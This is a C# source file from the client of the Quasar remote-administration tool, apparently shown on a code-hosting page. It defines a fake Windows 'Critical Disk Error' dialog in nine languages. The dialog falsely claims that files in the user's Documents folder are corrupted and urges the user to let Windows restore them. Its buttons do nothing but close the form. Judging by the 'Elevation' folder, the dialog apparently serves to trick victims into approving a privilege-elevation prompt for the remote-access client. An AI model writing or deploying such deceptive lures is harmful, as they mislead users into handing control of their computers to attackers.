Quasar/Client/Core/Elevation/FrmElevation.cs

154 lines
9.6 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

using System;
using System.Drawing;
using System.Windows.Forms;
namespace xClient.Core.Elevation
{
public partial class FrmElevation : Form
{
public FrmElevation()
{
InitializeComponent();
picError.Image = SystemIcons.Error.ToBitmap();
SetLanguage();
}
private void FrmElevation_Paint(object sender, PaintEventArgs e)
{
e.Graphics.DrawLine(Pens.Gray, new Point(0, panelBot.Location.Y - 1),
new Point(this.Width, panelBot.Location.Y - 1));
}
private void SetLanguage()
{
string CountryCode = System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName;
//string CountryCode = "ES";
switch (CountryCode)
{
case "PL": // by navaro21
this.Text = "Krytyczny błąd dysku";
lblHead.Text = "Plik lub lokalizacja została uszkodzona i jest niezdolna do odczytu.";
lblText.Text =
"Zostało znalezionych wiele uszkodzonych plików w lokalizacji 'Moje Dokumenty'. Aby\nzapobiec poważnej utraty danych pozwól systemowi Windows odzyskać te pliki.\n\n" +
"Uszkodzona lokalizacja: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
"\n" +
"Liczba uszkodzonych plików: 4";
btnRestore.Text = "Odzyskaj pliki";
btnRestoreAndCheck.Text = "Odzyskaj pliki i sprawdź dysk w poszukiwaniu błędów.";
linkError.Text = "Więcej szczegółów o tym błędzie";
break;
case "RU": // by GameFire
this.Text = "Критическая ошибка диска";
lblHead.Text = "Этот файл или каталог поврежден и нечитаемый";
lblText.Text =
"Несколько поврежденные файлы были найдены в каталоге 'Мои документы'. Для\nтогочтобы предотвратить потерю данных, пожалуйста позвольте Windows\nвосстановить эти файлы.\n\n" +
"Поврежденный каталог: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
"\n" +
"Количество поврежденных файлов: 4";
btnRestore.Text = "Восстановление файлов";
btnRestoreAndCheck.Text = "Восстановить файлы и проверять диск для ошибок";
linkError.Text = "Подробнее об этой ошибке";
break;
case "FI": // by Perfectionist & Qmz_
this.Text = "Kriittinen levyvirhe";
lblHead.Text = "Tiedosto tai hakemisto on vioittunut ja lukukelvoton";
lblText.Text =
"Useita vioittuineita tiedostoja on löytynyt kansiosta 'Omat tiedostot'. Ehkäistäksesi\nvakavan tietojen menetyksen, salli Windowsin palauttaa nämä tiedostot.\n\n" +
"Vioittunut kansio: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Korruptoituneiden tiedostojen määrä: 4";
btnRestore.Text = "Palauta tiedostot";
btnRestoreAndCheck.Text = "Palauta tiedostot ja aloita virheiden etsiminen";
linkError.Text = "Lisätietoja virheestä";
break;
case "NL": // by DeadLine
this.Text = "Kritieke schrijffout";
lblHead.Text = "Het bestand of pad is corrupt of onleesbaar";
lblText.Text =
"Meerdere corrupte bestanden zijn gevonden in het pad 'Mijn Documenten'. Gelieve de\nbestanden door Windows te laten herstellen om dataverlies te voorkomen.\n\n" +
"Corrupt pad: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Aantal corrupte bestanden: 4";
btnRestore.Text = "Herstel bestanden";
btnRestoreAndCheck.Text = "Herstel bestanden en controleer op schijffouten";
linkError.Text = "Meer informatie over deze fout";
break;
case "FR": // by Increment
this.Text = "Erreur Critique du Disque ";
lblHead.Text = "Le fichier ou le dossier spécifié est corrompu";
lblText.Text =
"De nombreux fichiers corrompus ont été trouvés dans le dossier 'Mes Documents'. Pour\néviter toute perte de donnée, veuillez autoriser Windows à restaurer vos fichiers et\ndonnées.\n\n" +
"Dossier corrompu : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Nombre de fichier(s) corrompu(s) : 4";
btnRestore.Text = "Restaurer les fichiers";
btnRestoreAndCheck.Text = "Restaurer les fichiers et vérifier des érreurs sur le disque ";
linkError.Text = "En savoir plus à propos de cette erreurs";
break;
case "ES": // by Xenocode
this.Text = "Error critico del disco duro";
lblHead.Text = "El archivo o directorio está dañado y no se puede leer";
lblText.Text =
"Algunos archivos dañados múltiples han sido encontrados en el directorio 'Mis Documentos'.\nPara prevenir la pérdida grave de datos, permita por favor de Windows para recuperar\nestos archivos.\n\n" +
"Directorio dañado : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
"Archivos corrupots : 4";
btnRestore.Text = "Recuperar archivos";
btnRestoreAndCheck.Text = "Reparar archivos y comprobar si hay errores en el disco dur";
linkError.Text = "Detalles de Errores";
break;
case "DE":
this.Text = "Kritischer Festplatten Fehler";
lblHead.Text = "Die Datei oder das Verzeichnis ist beschädigt und nicht lesbar";
lblText.Text =
"Es wurden mehrere beschädigte Dateien in dem Verzeichnis 'Meine Dokumente' gefunden.\nUm einen ernsthaften Datenverlust zu vermeiden, erlauben Sie bitte Windows, die Dateien\nwiederherzustellen.\n\n" +
"Beschädigtes Verzeichnis: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
"\n" +
"Anzahl der beschädigten Dateien: 4";
btnRestore.Text = "Dateien wiederherstellen";
btnRestoreAndCheck.Text = "Dateien wiederherstellen und Festplatte auf Fehler überprüfen";
linkError.Text = "Mehr Informationen zu diesem Fehler";
break;
case "AR": // By : DragonzMaster
this.Text = "خطأ حرج بالقرص";
lblHead.Text = "الملف او المجلد معطوب ولا يمكن قرائته";
lblText.Text =
"تم إيجاد عدة ملفات معطوبة بالمجلد 'مستنداتى'. لمنع\nخسائر كبيرة بالبيانات, من فضلك إسمح لنظام التشغيل بإستعادة هذه الملفات.\n\n" +
"المجلد المعطوب: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
"\n" +
"عدد الملفات المعطوبة: 4";
btnRestore.Text = "إستعادة الملفات";
btnRestoreAndCheck.Text = "إستعادة الملفات و فحص القرص من الأخطاء";
linkError.Text = "لتفاصيل أكثر حول هذا الخطأ";
this.RightToLeft = RightToLeft.Yes;
break;
default: // this includes GB, US and all other
this.Text = "Critical Disk Error";
lblHead.Text = "The file or directory is corrupted and unreadable";
lblText.Text =
"Multiple corrupted files have been found in the directory 'My Documents'. To prevent\nserious loss of data, please allow Windows to restore these files.\n\n" +
"Corrupted directory: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
"\n" +
"Corrupted files count: 4";
btnRestore.Text = "Restore files";
btnRestoreAndCheck.Text = "Restore files and check disk for errors";
linkError.Text = "More details about this error";
break;
}
}
private void btnRestore_Click(object sender, EventArgs e)
{
this.Close();
}
private void btnRestoreAndCheck_Click(object sender, EventArgs e)
{
this.Close();
}
private void linkError_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
System.Diagnostics.Process.Start(
"http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx");
}
}
}